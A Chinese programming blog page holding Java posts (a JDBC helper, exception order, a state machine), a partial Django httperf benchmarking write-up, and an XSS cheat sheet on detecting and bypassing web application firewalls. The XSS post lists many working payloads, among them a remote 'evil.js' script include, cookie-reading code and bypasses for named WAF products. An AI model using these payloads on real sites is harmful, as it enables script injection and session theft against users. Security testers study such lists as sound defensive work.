<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    qileilove

    blog已經轉移至github,大家請訪問 http://qaseven.github.io/

    封裝數據庫操作

     今天在一本書上面看到了一個封裝數據庫操作的輔助類,封裝了獲得數據庫的連接、關閉數據庫的連接、執行SQLINSERT/UPDATE/DELETE/SELECT 語句的方法。
      代碼如下:
    /**
    *
    */
    package com.sotaof.struts.db.utils;
    import java.sql.Connection;
    import java.sql.PreparedStatement;
    import java.sql.ResultSet;
    import java.sql.ResultSetMetaData;
    import java.sql.SQLException;
    import java.sql.Statement;
    import java.text.DateFormat;
    import java.util.ArrayList;
    import java.util.Date;
    import java.util.HashMap;
    import java.util.List;
    import java.util.Map;
    import java.util.logging.Logger;
    import javax.naming.InitialContext;
    import javax.sql.DataSource;
    /**
    * @Title: DbUtils.java
    * @Package com.sotaof.struts.db.utils
    * @Description: TODO
    * @author A18ccms A18ccms_gmail_com
    * @date 2013-2-4 下午06:30:36
    * @version V1.0
    */
    public class DbUtils {
    private static Logger logger = Logger.getLogger("DbUtils");
    public static int execute(String sql, List<Object> paramList) throws Exception
    {
    if(sql == null || sql.trim().equals(""))
    {
    logger.info("parameter is valid!");
    }
    Connection conn = null;
    PreparedStatement pstmt = null;
    int result = 0;
    try
    {
    conn = DbUtils.getConnection();
    pstmt = DbUtils.getPreparedStatement(conn, sql);
    setPreparedStatementParam(pstmt, paramList);
    if(pstmt == null)
    {
    return -1;
    }
    result = pstmt.executeUpdate();
    }
    catch(Exception e)
    {
    logger.info(e.getMessage());
    throw new Exception(e);
    }
    finally
    {
    closeStatement(pstmt);
    closeConn(conn);
    }
    return result;
    }
    public static Connection getConnection() throws Exception
    {
    InitialContext cxt = new InitialContext();
    if(cxt == null)
    {
    throw new Exception("no context!");
    }
    DataSource ds = (DataSource) cxt.lookup("java:/comp/env/jdbc/orcl");
    if(ds == null)
    {
    throw new Exception("Data source not found!");
    }
    return ds.getConnection();
    }
    public static PreparedStatement getPreparedStatement(Connection conn, String sql) throws Exception
    {
    if(conn == null || sql == null || sql.trim().equals(""))
    {
    return null;
    }
    PreparedStatement pstmt = conn.prepareStatement(sql.trim());
    return pstmt;
    }
    public static void setPreparedStatementParam(PreparedStatement pstmt, List<Object> paramList) throws Exception
    {
    if(pstmt == null || paramList == null || paramList.isEmpty())
    {
    return;
    }
    DateFormat df = DateFormat.getDateTimeInstance();
    for(int i = 0; i < paramList.size(); i++)
    {
    if(paramList.get(i) instanceof Integer)
    {
    int paramValue = ((Integer) paramList.get(i)).intValue();
    pstmt.setInt(i + 1, paramValue);
    }
    else if(paramList.get(i) instanceof Float)
    {
    float paramValue = ((Float) paramList.get(i)).floatValue();
    pstmt.setFloat(i + 1, paramValue);
    }
    else if(paramList.get(i) instanceof Double)
    {
    double paramValue = ((Double) paramList.get(i)).doubleValue();
    pstmt.setDouble(i + 1, paramValue);
    }
    else if(paramList.get(i) instanceof Date)
    {
    pstmt.setString(i + 1, df.format((Date)paramList.get(i)));
    }
    else if(paramList.get(i) instanceof Long)
    {
    long paramValue = ((Long)paramList.get(i)).longValue();
    pstmt.setLong(i + 1, paramValue);
    }
    else if(paramList.get(i) instanceof String)
    {
    pstmt.setString(i + 1, (String)paramList.get(i));
    }
    }
    return;
    }
    private static void closeConn(Connection conn)
    {
    if(conn == null)
    {
    return;
    }
    try
    {
    conn.close();
    }
    catch(SQLException e)
    {
    logger.info(e.getMessage());
    }
    }
    private static void closeStatement(Statement stmt)
    {
    if(stmt == null)
    {
    return;
    }
    try
    {
    stmt.close();
    }
    catch(SQLException e)
    {
    logger.info(e.getMessage());
    }
    }
    private static void closeResultSet(ResultSet rs)
    {
    if(rs == null)
    {
    return;
    }
    try
    {
    rs.close();
    }
    catch(SQLException e)
    {
    logger.info(e.getMessage());
    }
    }
    private static ResultSet getResultSet(PreparedStatement pstmt) throws Exception
    {
    if(pstmt == null)
    {
    return null;
    }
    ResultSet rs = pstmt.executeQuery();
    return rs;
    }
    public static List<Map<String,String>> getQueryList(String sql, List<Object> paramList) throws Exception
    {
    if(sql == null || sql.trim().equals(""))
    {
    logger.info("parameter is valid!");
    return null;
    }
    Connection conn = null;
    PreparedStatement pstmt = null;
    ResultSet rs = null;
    List<Map<String,String>> queryList = null;
    try
    {
    conn = DbUtils.getConnection();
    pstmt = DbUtils.getPreparedStatement(conn, sql);
    setPreparedStatementParam(pstmt, paramList);
    if(pstmt == null)
    {
    return null;
    }
    rs = DbUtils.getResultSet(pstmt);
    queryList = DbUtils.getQueryList(rs);
    }
    catch(Exception e)
    {
    logger.info(e.getMessage());
    throw new Exception();
    }
    finally
    {
    closeResultSet(rs);
    closeStatement(pstmt);
    closeConn(conn);
    }
    return queryList;
    }
    private static List<Map<String,String>> getQueryList(ResultSet rs) throws Exception
    {
    if(rs == null)
    {
    return null;
    }
    ResultSetMetaData rsMetaData = rs.getMetaData();
    int columnCount = rsMetaData.getColumnCount();
    List<Map<String,String>> dataList = new ArrayList<Map<String,String>>();
    while(rs.next())
    {
    Map<String,String> dataMap = new HashMap<String,String>();
    for(int i = 0; i < columnCount; i++)
    {
    dataMap.put(rsMetaData.getColumnName(i+1), rs.getString(i+1));
    }
    dataList.add(dataMap);
    }
    return dataList;
    }
    }
      不過我認為這種方法雖然封裝性比較好,也比較好管理,但是當出現異常時,對于錯誤的查找非常的麻煩,所以我個人很少使用這樣的方法,不過如果這樣的數據庫麻煩,那么就用Hibernate框架吧(如果你的數據庫夠強大的話)。

    posted @ 2014-07-02 16:39 順其自然EVO 閱讀(193) | 評論 (0)編輯 收藏

    Java異常發生時程序的執行順序

     一些基礎知識:
      1.try代碼段包含可能產生例外的代碼;
      2.try代碼段后跟有一個或多個代碼段;
      3.每個catch代碼段聲明其能處理的一種特定的異常并提供處理的方法;
      4.當異常發生時,程序會終止當前的流程,根據獲取異常的類型去執行相應的catch代碼段,有多個符合條件的catch時,只執行第一個;
      5.finally段的代碼無論是否發生異常都會執行。
      6.在一個try語句塊中,基類異常的捕獲語句不可以寫在子類異常捕獲語句的上面。
      看一個例子:
    /**
    * @author Lansine
    *
    */
    public class T1 {
    /**
    * @param args
    */
    public static void main(String[] args) {
    String s = "1";
    try {
    s = "2";
    System.out.println(s);
    if (s == "2")
    throw new Exception("h");
    } catch (Exception e) {
    s = "3";
    System.out.println(s);
    } finally {
    s = "4";
    System.out.println(s);
    }
    s = "5";
    System.out.println(s);
    }
    }
      輸出的結果是2,3,4,5    (這里的逗號只用于顯示)。上述語句非常清楚,但是在上述結構中加上return,就變得有些復雜了,如
    /**
    * @author Lansine
    *
    */
    public class T2 {
    /**
    * @param args
    */
    public static void main(String[] args) {
    String s = "1";
    try {
    s = "2";
    System.out.println(s);
    return;
    } catch (Exception e) {
    s = "3";
    System.out.println(s);
    } finally {
    s = "4";
    System.out.println(s);
    }
    s = "5";
    System.out.println(s);
    }
    }
    輸出的結果是2,4也就是說在try結構中,雖然使用了return語句強制函數返回,不再往下執行,但實現上finally中的還是執行了。但除了finally外的其它語句不再被執行。
      一個更流行的例子是:
    import java.io.*;
    /**
    * @author Lansine
    *
    */
    public class Mine {
    public static void main(String argv[]){
    Mine m = new Mine();
    try {
    System.out.println(m.amethod());
    } catch (Exception e) {
    // TODO 自動生成 catch 塊
    //e.printStackTrace();
    System.out.println("我知道了");
    }
    System.out.println("finished");
    }
    public int amethod()throws Exception {
    try {
    FileInputStream dis = new FileInputStream("Hello.txt"); // 1,拋出異常
    System.out.println("異常發生之后");
    } catch (Exception ex) {
    System.out.println("No such file found"); // 2.catch捕捉異常,并執行
    //throw new Exception("上面處理");
    return -1; // 4,return 返回
    } finally {
    System.out.println("Doing finally"); // 3.finally一定會執行,在return之前。
    }
    System.out.println("在代碼后面");
    return 0;
    }
    }
      結果是:
      No such file found
      Doing finally
      -1
      finished
      如果在catch塊中拋出異常,則結果為:
      No such file found
      Doing finally
      我知道了
      finished
      注意:如果異常往上拋直到main函數還沒有被catch處理的話,程序將被異常終止。

    posted @ 2014-07-02 16:38 順其自然EVO 閱讀(345) | 評論 (0)編輯 收藏

    一個Java狀態機樣例的代碼

     在UML當中有狀態機視圖,這個狀態機可以用于自動售貨機,自動售票機等等場景,下面是用java代碼模擬的一個狀態機:
      1.狀態機接口
    package stateMachine;
    /**
    * 狀態機接口
    * @author seacean
    * @date 2013-8-29
    */
    public interface State {
    /**
    * 投入硬幣
    */
    void insertQuarter();
    /**
    * 根據搖動情況,處理搖動結果,返回處理結果,釋放糖果
    */
    void ejectQuarter();
    /**
    * 轉動搖柄
    */
    void turnCrank();
    /**
    * 機器放出糖果,處理機器內部狀態,返回初始可投幣狀態
    */
    void dispense();
    }
     2.帶有狀態機的機器
    package stateMachine;
    /**
    * 機器類,包含多種狀態,處理流程
    * @author seacean
    * @date 2013-8-29
    */
    public class Machine {
    //機器本身包含所有的狀態機
    private State soldOutState;
    private State noQuarterState;
    private State hasQuarterState;
    private State soldState;
    private State state; //機器的當前狀態
    private int count = 0;//機器中當前糖果的數量
    /**
    * 初始化機器,引入所有的狀態機,初始化糖果數量,初始化機器狀態
    * @param count
    */
    public Machine(int count) {
    this.soldOutState = new SoldOutState(this);
    this.noQuarterState = new NoQuarterState(this);
    this.hasQuarterState = new HasQuarterState(this);
    this.soldState = new SoldState(this);
    this.count = count;
    if (this.count > 0) {
    this.state = noQuarterState;
    }
    }
    /**
    * 釋放糖果時的內部處理程序
    */
    public void releaseBall() {
    System.out.println("a gumball comes rolling out the solt...");
    if (count > 0) {
    count -= 1;
    }
    }
    public void insertQuerter() {
    state.insertQuarter();//加入硬幣
    }
    public void ejectQuarter() {
    state.ejectQuarter();
    }
    public void turnCrank() {
    state.turnCrank();
    state.dispense();
    }
    public State getSoldOutState() {
    return soldOutState;
    }
    public State getNoQuarterState() {
    return noQuarterState;
    }
    public State getHasQuarterState() {
    return hasQuarterState;
    }
    public State getSoldState() {
    return soldState;
    }
    public State getState() {
    return state;
    }
    public int getCount() {
    return count;
    }
    public void setState(State state) {
    this.state = state;
    }
    }
      3.下面是狀態機的一些實現類
    package stateMachine;
    /**
    * 機器處于沒有投硬幣的狀態
    * @author seacean
    * @date 2013-8-29
    */
    public class NoQuarterState implements State {
    private Machine machine;
    public NoQuarterState(Machine machine) {
    this.machine = machine;
    }
    @Override
    public void insertQuarter() {
    System.out.println("please insert a quarter!");
    machine.setState(machine.getHasQuarterState());
    }
    @Override
    public void ejectQuarter() {
    System.out.println("please insert a quarter!");
    }
    @Override
    public void turnCrank() {
    System.out.println("please insert a quarter!");
    }
    @Override
    public void dispense() {
    System.out.println("please insert a quarter!");
    }
    }
    package stateMachine;
    /**
    * 機器處于有硬幣,有糖果,沒有搖動的狀態
    * @author seacean
    * @date 2013-8-29
    */
    public class HasQuarterState implements State {
    private Machine machine;
    public HasQuarterState(Machine machine){
    this.machine=machine;
    }
    @Override
    public void insertQuarter() {
    System.out.println("You can not insert another quarter!");
    }
    @Override
    public void ejectQuarter() {
    System.out.println("Quarter returned!");
    machine.setState(machine.getNoQuarterState());
    }
    @Override
    public void turnCrank() {
    System.out.println("You turned ... ");
    machine.setState(machine.getSoldState());
    }
    @Override
    public void dispense() {
    System.out.println("No gumball dispensed!");
    }
    }
    package stateMachine;
    /**
    * 機器正在出售糖果的狀態
    *
    * @author seacean
    * @date 2013-8-29
    */
    public class SoldState implements State {
    private Machine machine;
    public SoldState(Machine machine) {
    this.machine = machine;
    }
    @Override
    public void insertQuarter() {
    System.out.println("please wait,we are already giving you a gumball!");
    }
    @Override
    public void ejectQuarter() {
    System.out.println("Sorry, you have turned the crank!");
    }
    @Override
    public void turnCrank() {
    System.out.println("Turning twice does not get you another gumball!");
    }
    @Override
    public void dispense() {
    machine.releaseBall();
    if (machine.getCount() > 0) {
    machine.setState(machine.getNoQuarterState());
    } else {
    System.out.println("Out of Gumballs!");
    machine.setState(machine.getSoldOutState());
    }
    }
    }
    package stateMachine;
    /**
    * 機器處于無糖果狀態
    * @author seacean
    * @date 2013-8-29
    */
    public class SoldOutState implements State {
    private Machine machine;
    public SoldOutState(Machine machine) {
    this.machine=machine;
    }
    @Override
    public void insertQuarter() {
    System.out.println("Sorry, there is no gumball in the machine!");
    }
    @Override
    public void ejectQuarter() {
    System.out.println("Sorry, there is no gumball in sold!");
    }
    @Override
    public void turnCrank() {
    System.out.println("Sorry, there is no gumball!Turn is no meaning.");
    machine.setState(machine.getNoQuarterState());
    }
    @Override
    public void dispense() {
    System.out.println("Sorry, there is no gumball!");
    }
    }
    4.下面是測試類
    package stateMachine;
    //測試類
    public class StateMachineTest {
    public static void main(String[] args) {
    Machine machine=new Machine(10);
    for(int i=0;i<11;i++){
    System.out.println(machine);
    machine.insertQuerter();
    machine.turnCrank();
    }
    }
    }

    posted @ 2014-07-02 16:37 順其自然EVO 閱讀(296) | 評論 (0)編輯 收藏

    XSS現代WAF規則探測及繞過技術

     初始測試
      1、使用無害的payload,類似<b>,<i>,<u>觀察響應,判斷應用程序是否被HTML編碼,是否標簽被過濾,是否過濾<>等等;
      2、如果過濾閉合標簽,嘗試無閉合標簽的payload(<b,<i,<marquee)觀察響應;
      3、嘗試以下的payload
      <script>alert(1);</script>
      <script>prompt(1);</script>
      <script>confirm      (1);</script>
      <script src="http://rhainfosec.com/evil.js">
      判斷是否觸發過濾規則,嘗試使用大小寫混合字符
      <scRiPt>alert(1);</scrIPt>
      1、如果大小寫不行的話,<script>被過濾嘗試<scr<script>ipt>alert(1)</scr<script>ipt>;
      2、使用<a>標簽測試
      <a  href=“http://www.google.com">Clickme</a>
      <a被過濾?
      href被過濾?
      其他內容被過濾?
      如果沒有過濾嘗試使用<a href=”javascript:alert(1)”>Clickme</a>
      嘗試使用錯誤的事件查看過濾<a href=”rhainfosec.com” onclimbatree=alert(1)>ClickHere</a>
      HTML5擁有150個事件處理函數,可以多嘗試其他函數<body/onhashchange=alert(1)><a href=#>clickit
      測試其他標簽
      src屬性
    <img src=x      onerror=prompt(1);>
    <img/src=aaa.jpg      onerror=prompt(1);
    <video src=x      onerror=prompt(1);>
    <audio src=x      onerror=prompt(1);>
    iframe
    <iframesrc="javascript:alert(2)">
    <iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
    Embed
    <embed/src=//goo.gl/nlX0P>
    Action
    <form action="Javascript:alert(1)"><input type=submit>
    <isindex action="javascript:alert(1)" type=image>
    <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
    <isindex action=data:text/html, type=image>
    mario驗證
    <formaction='data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt'><button>CLICK
    “formaction”屬性
    <isindexformaction="javascript:alert(1)"      type=image>
    <input type="image" formaction=JaVaScript:alert(0)>
    <form><button formaction=javascript&colon;alert(1)>CLICKME
    “background”屬性
    <table background=javascript:alert(1)></table> // Works on Opera 10.5      and IE6
    “posters” 屬性
    <video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
    “data”屬性
    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
    <object/data=//goo.gl/nlX0P?
    “code”屬性
    <applet code="javascript:confirm(document.cookie);"> // Firefox Only
    <embed  code="http://businessinfo.co.uk/labs/xss/xss.swf"      allowscriptaccess=always>
     事件處理
    <svg/onload=prompt(1);>
    <marquee/onstart=confirm(2)>/
    <bodyonload=prompt(1);>
    <selectautofocusonfocus=alert(1)>
    <textareaautofocusonfocus=alert(1)>
    <keygenautofocusonfocus=alert(1)>
    <video><sourceonerror="javascript:alert(1)">
    短payload
    <q/oncut=open()>
    <q/oncut=alert(1)>//Usefulin-caseofpayloadrestrictions.
      嵌套欺騙
      <marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
      <body  language=vbsonload=alert-1 // Works with IE8
      <command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6    9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command>      // Works with IE8
      圓括號被過濾
    <a onmouseover="javascript:window.onerror=alert;throw 1>
    <img src=x onerror="javascript:window.onerror=alert;throw 1">
    <body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';
    Expression 屬性
    <img style="xss:expression(alert(0))"> // Works upto IE7.
    <div style="color:rgb(''x:expression(alert(1))"></div>      // Works upto IE7.
    <style>#test{x:expression(alert(/XSS/))}</style>      // Works upto IE7
    “location”屬性
    <a onmouseover=location=’javascript:alert(1)>click
    <body onfocus="location='javascrpt:alert(1) >123
      其他Payload
    <meta http-equiv="refresh"      content="0;url=//goo.gl/nlX0P">
    <meta http-equiv="refresh"      content="0;javascript&colon;alert(1)"/>
    <svg xmlns="http://www.w3.org/2000/svg"><g      onload="javascript:\u0061lert(1);"></g></svg> //      By @secalert
    <svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href"      values=";javascript:alert(1)" begin="0s"      dur="0.1s" fill="freeze"/> // By Mario
    <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg>      // By @secalert
    <meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
    <math><a xlink:>click // By Ashar Javed
    ();:被過濾
    <svg><script>alert(/1/)</script>      // Works With All Browsers
    ( is html encoded to (
    ) is html encoded to )
      Opera的變量
      <svg><script>alert(      1) // Works with Opera Only
      實體解碼
      &lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
      <a  href="j&#x26#x41;vascript:alert%252831337%2529">Hello</a>
      編碼
      JavaScript是很靈活的語言,可以使用十六進制、Unicode、HTML等進行編碼,以下屬性可以被編碼(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)
    href=
    action=
    formaction=
    location=
    on*=
    name=
    background=
    poster=
    src=
    code=
    data= //只支持base64
      基于上下文的過濾
      WAF最大的問題是不能理解內容,使用黑名單可以阻擋獨立的js腳本,但仍不能對xss提供足夠的保護,如果一個反射型的XSS是下面這種形式輸入反射屬性
      <input value="XSStest" type=text>
      我們可以使用 “><imgsrc=x  onerror=prompt(0);>觸發,但是如果<>被過濾,我們仍然可以使用“ autofocusonfocus=alert(1)//觸發,基本是使用“ 關閉value屬性,再加入我們的執行腳本
      " onmouseover="prompt(0) x="
      " onfocusin=alert(1)     autofocus x="
      " onfocusout=alert(1)     autofocus x="
      " onblur=alert(1) autofocus     a="
      輸入反射在<script>標簽內
      類似這種情況:
      <script>
      Var
      x=”Input”;
      </script>
      通常,我們使用“></script>,閉合前面的</script>標簽,然而在這種情況,我們也可以直接輸入執行腳本alert(), prompt()
      confirm() ,例如:
      “;alert(1)//
      非常規事件監聽
      DOMfocusin,DOMfocusout,等事件,這些需要特定的事件監聽適當的執行。例如:
      ";document.body.addEventListener("DOMActivate",alert(1))//
      ";document.body.addEventListener("DOMActivate",prompt(1))//
      ";document.body.addEventListener("DOMActivate",confirm(1))//
      此類事件的列表
    DOMAttrModified
    DOMCharacterDataModified
    DOMFocusIn
    DOMFocusOut
    DOMMouseScroll
    DOMNodeInserted
    DOMNodeInsertedIntoDocument
    DOMNodeRemoved
    DOMNodeRemovedFromDocument
    DOMSubtreeModified
      超文本內容
      代碼中的情況如下
      <a
      href=”Userinput”>Click</a>
      可以使用javascript:alert(1)//直接執行<a
      href=”javascript:alert(1)//”>Click</a>
      變形
      主要包含大小寫和
      JavaScript變形
      javascript:alert(1)
      javaSCRIPT&colon;alert(1)
      JaVaScRipT:alert(1)
      javas&Tab;cript:\u0061lert(1);
      javascript:\u0061lert(1)
      javascript:alert&lpar;document&period;cookie&rpar;      // AsharJaved
      IE10以下和URI中可以使用VBScript
      vbscript:alert(1);
      vbscript:alert(1);
      vbscr&Tab;ipt:alert(1)"
      Data URl
      data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
      JSON內容
      反射輸入
      encodeURIComponent('userinput')
      可以使用
      -alert(1)-
      -prompt(1)-
      -confirm(1)-
      結果
      encodeURIComponent(''-alert(1)-'')
      encodeURIComponent(''-prompt(1)-'')
      輸入反射在svg標簽內
      源碼如下:
      <svg><script>varmyvar=”YourInput”;</script></svg>
      可以輸入
      www.site.com/test.php?var=text”;alert(1)//
      如果系統編碼了”字符
      <svg><script>varmyvar="text&quot;;alert(1)//";</script></svg>
      原因是引入了附加的(XML)到HTML內容里,可以使用2次編碼處理
      瀏覽器BUG
      字符集BUG
      字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集編碼,我們可以繞過99% 的WAF過濾。
      示例
      http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
      可以控制編碼,提交
      http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img
      src=x onerror=prompt(0);>
      可以修改為UTF-32編碼形式
      ???script?alert(1)?/script?
      http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
      空字節
      最長用來繞過mod_security防火墻,形式如下:
      <scri%00pt>alert(1);</scri%00pt>
      <scri\x00pt>alert(1);</scri%00pt>
      <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
      空字節只適用于PHP 5.3.8以上的版本
      語法BUG
      RFC聲明中節點名稱不能是空格,以下的形式在javascript中不能運行
      <script>alert(1);</script>
      <%0ascript>alert(1);</script>
      <%0bscript>alert(1);</script>
      <%, <//, <!,<?可以被解析成<,所以可以使用以下的payload
      <//     style=x:expression\28write(1)\29> // Works upto IE7
      參考http://html5sec.org/#71
      <!--[if]><script>alert(1)</script     --> // Works upto IE9
      參考http://html5sec.org/#115
      <?xml-stylesheet     type="text/css"?><root     style="x:expression(write(1))"/> // Works in IE7
      參考 http://html5sec.org/#77
      <%div%20style=xss:expression(prompt(1))>     // Works Upto IE7
      Unicode分隔符
      [on\w+\s*]這個規則過濾了所有on事件,為了驗證每個瀏覽器中有效的分隔符,可以使用fuzzing方法測試0×00到0xff,結果如下:
      IExplorer=     [0x09,0x0B,0x0C,0x20,0x3B]
      Chrome =     [0x09,0x20,0x28,0x2C,0x3B]
      Safari = [0x2C,0x3B]
      FireFox=     [0x09,0x20,0x28,0x2C,0x3B]
      Opera = [0x09,0x20,0x2C,0x3B]
      Android =     [0x09,0x20,0x28,0x2C,0x3B]
      x0b在Mod_security中已經被過濾,繞過的方法:
      <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
      缺少X-frame選項
      通常會認為X-frame是用來防護點擊劫持的配置,其實也可以防護使用iframe引用的xss漏洞
      Docmodes
      IE引入了doc-mode很長時間,提供給老版本瀏覽器的后端兼容性,有風險,攻擊情景是黑客可以引用你站點的框架,他可以引入doc-mode執行css表達式
      expression(open(alert(1)))
      以下POC可以插入到IE7中
      <html>
      <body>
      <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
      <iframesrc="https://targetwebsite.com">
      </body>
      </html>
     Window.name欺騙
      情景:我們用iframe加載一個頁面,我們可以控制窗口的名稱,這里也可以執行javascript代碼
      POC
      <iframesrc='http://www.target.com?foo="xss  autofocus/AAAAA  onfocus=location=window.name//'
      name="javascript:alert("XSS")"></iframe>
      DOM型XSS
      服務器不支持過濾DOM型的XSS,因為DOM型XSS總是在客戶端執行,看一個例子:
      <script>
      vari=location.hash;
      document.write(i);
      </script>
      在一些情況下,反射型XSS可以轉換成DOM型XSS:
      http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
      上面的POC只在[.+都被允許的情況下適用,可以使用location.hash注入任何不允許的編碼
      Location.hash[1] = :  // Defined at the first position after     the hash.
      Location.hash[2]= (  // Defined at the second position after     the has
      Location.hash[3] = ) // Defined     at third position after the hash.
      如果有客戶端過濾可能不適用
      繞過
      ModSecurity繞過
      <scri%00pt>confirm(0);</scri%00pt>
      <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
      參考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
      WEB KNIGHT繞過
      <isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
      <marquee/onstart=confirm(2)>
      F5 BIG IP ASM and Palo ALTO繞過
      <table background="javascript:alert(1)"></table> //IE6或者低版本Opera
      “/><marquee  onfinish=confirm(123)>a</marquee>
      Dot Defender繞過
      <svg/onload=prompt(1);>
      <isindex action="javas&tab;cript:alert(1)" type=image>
      <marquee/onstart=confirm(2)>
      結論
      黑名單方式永遠不是最好的解決辦法,但是相對與白名單效率很高,對于WAF供應商來說,最好的實踐如下:
      1、開發者和管理員要注意WAF只能緩解攻擊,并且針對已知的弱點的防護只是和源代碼修復的方法打個時間差;
      2、要保持WAF的規則庫更新;
      3、WAF可以配置參數限制,需要提供手冊用于配置參數content-length最大最小長度,content-type類型,在入侵時進行告警;
      4、如果WAF依據黑名單,要確??梢宰钄嘁阎臑g覽器BUG,并且相應規則庫要及時更新。

    posted @ 2014-07-02 16:35 順其自然EVO 閱讀(2117) | 評論 (0)編輯 收藏

    Django性能測試—一個現實世界的例子

     大約一個星期前,安德魯 和 我 啟動 一個新的 Django 打造的網站,站名叫 Hey!Wall 。這是一個按照社交網絡中的“墻”的概念建立的社交網站,它為各類朋友提供了一個留言及分享照片、視頻和鏈接的空間。
      我們想對其進行性能評估,并進行一些服務器配置和代碼修改來決定采取何種步驟進行改進。我們使用 httperf 進行了測試,并通過優化將其性能提高了整整一倍。
      服務器和客戶端
      服務器一是一臺 Slicehost 提供的 Xen VPS ,配有 256MB 內存,運行的是 Debian Etch 系統。部署在美國中西部。
      為了測試,采用了一臺位于英國的 Xtraordinary Hosting 提供的 Xen VPS,作為客戶端。通常我們使用的 ADSL 訪問互聯網絡,但這讓我們很難向服務器發起足夠多的訪問請求。使用連接良好的 VPS 作為客戶端使我們可以真正地對服務器加以考驗。
      服務器規格說明
      很難確切地描述服務器的規格。該 VPS 配有 256MB 內存,與數個類似的 VPS 同居一臺主機(大概是一臺 裝有 16GB 內存的 Quad Core 服務器)之上。假定裝滿了 256MB 切片的話,物理服務器上最多裝有 64 臺 VPS 。如果四個處理器都是 2.4GHz,那么共 9.6 GHz ,除以 64 得到最少 150MHz 的 CPU 。
      在 Xen VPS 上,無需競爭你就可以獲得穩定的內存和 CPU 分配,但通常 主機上任何空閑的 CPU 都將得到使用。如果在同一機器上的其它 VPS 處于空閑狀態,你的 VPS 將能夠使用更多的 CPU 。這也許意味著在測試期間使用了更多的 CPU ,即某些測試可能比其它的使用了更多的 CPU 資源。
      使用 httperf 評估性能
      現有各式各樣的網絡性能測試工具,主要包括 ab (來自 Apache), Flood 和 httperf。我們使用 httperf 并沒有任何特別理由。
      httperf 命令看起來如下所示:
      httperf --hog --server=example.com --uri=/ --timeout=10 --num-conns=200 --rate=5
      在該例中,我們向 http://example.com/ 發起了 200 次訪問請求,每秒最多 5 次。
      測試計劃
      某些工具支持進程,可以模仿用戶對網站提交任務。我們使用了一種簡單的“暴力”測試來了解該站點每秒能夠處理多少請求。
      該基本方法是發起一定數量的請求,能夠判斷服務器如何反應:狀態 200 為成功,狀態 500 為失敗。提高頻率(每秒制造的請求數量)然后再試一遍。如果開始返回大量的  500 ,則已經達到極限。
      監測服務器資源
      另一個方面是要掌握服務器在內存和 CPU 使用方面的情況。要跟蹤這一情況,我們運行 top 并將輸出記錄為日志文件以供稍后查閱。該 top 命令如下所示:
      top -b -d 3 -U www-data > top.txt
      在該例中,我們以用戶 www-data 每三秒記錄一次進程的日志信息。如果你想更加明確的指定目標,可以使用 -p 1, 2, 3 ,而不是 -U username ,其中 1、2 和 3 是 pid(即要觀測進程的進程ID)。
      網頁服務器為配有以 FastCGI processes 方式運行的 Python 2.5 的 Lighttpd 。盡管數據庫的日志也是很有用的信息,但我們沒有記錄該進程(PostgreSQL)的日志。
      另一個有用的工具是 vmstat,特別是 swap 列顯示了有多少內存進行了交換。交換的意思是你沒有足夠的內存,它是一種性能殺手。要想反復運行 vmstat 的話,必須指定每次檢查間隔的秒數。如:
      vmstat 2
      使用 httperf 進行已認證訪問
      httperf 只是簡單地向某個 URL 發出簡單的 GET 請求,并下載  html  文本(但不包括任何媒體文件)。對公共/匿名(public/anonymous)網頁發起的訪問請求是件輕松的事情,但如果要訪問需要登錄的頁面怎么辦呢?
      httperf 可以傳遞請求頭部信息。Django 身份校驗( authentication)(由 django.contrib.auth 提供)使用的進程依賴于在客戶端 cookie 中所保存的進程  id 。而客戶端在請求的頭部信息中傳遞 cookie 。你可以看到這一切是如何進行的。
      登錄站點,查看 cookies 信息。其中應該有個類似 sessionid=97d674a05b2614e98411553b28f909de 的數值。要通過 httperf 傳遞該 cookie,可以使用 --add-header 參數選項。如:
      httperf ... --add-header='Cookie: sessionid=97d674a05b2614e98411553b28f909den'
      小心頭部信息之后的 n 。如果少了該字符,你的每個請求可能都會返回超時信息。
     測試哪個頁面?
      考慮到這一點,我們測試了網站的兩個網頁:
      主頁: 對主頁的匿名訪問
      “墻”: 對某個“墻”已認證訪問,該網頁包括從數據庫獲取的內容
      事實靜態與高度動態
